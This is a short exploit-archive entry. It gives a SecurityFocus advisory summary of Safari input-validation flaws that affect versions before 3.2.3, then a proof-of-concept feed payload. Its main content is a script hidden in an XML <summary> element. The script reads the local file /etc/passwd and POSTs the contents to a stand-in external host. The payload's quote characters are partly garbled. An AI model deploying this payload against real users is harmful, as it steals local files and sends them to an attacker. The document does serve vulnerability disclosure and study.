34 lines
No EOL
1.2 KiB
XML
34 lines
No EOL
1.2 KiB
XML
source: https://www.securityfocus.com/bid/34925/info
|
||
|
||
Apple Safari is prone to multiple input-validation vulnerabilities.
|
||
|
||
An attacker can exploit these issues by enticing an unsuspecting victim to visit a malicious website.
|
||
|
||
Successfully exploiting these issues will allow the attacker to execute arbitrary JavaScript code in the local security zone. This may allow the attacker to obtain sensitive information that can aid in further attacks; other consequences may also occur.
|
||
|
||
These issues affect versions prior to Safari 3.2.3.
|
||
|
||
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
|
||
<script>
|
||
var contents;
|
||
var req;
|
||
req = new XMLHttpRequest();
|
||
req.onreadystatechange = processReqChange;
|
||
req.open(<28>GET<45>, <20>file:///etc/passwd<77>, true);
|
||
req.send(<28>);
|
||
|
||
function processReqChange() {
|
||
if (req.readyState == 4) {
|
||
contents = req.responseText;
|
||
sendit2XSSniper(contents);
|
||
}
|
||
}
|
||
function sendit2XSSniper(stuff){
|
||
var req2;
|
||
req2 = new XMLHttpRequest();
|
||
req2.open(<28>POST<53>, <20>http://www.example.com<6F>, true);
|
||
req2.setRequestHeader(<28>Content-Type<70>,'application/x-www-form-urlencoded<65>);
|
||
req2.send(<28>filename=etcpasswd&filecontents=<3D>+escape(stuff));
|
||
}
|
||
</script>
|
||
</summary> |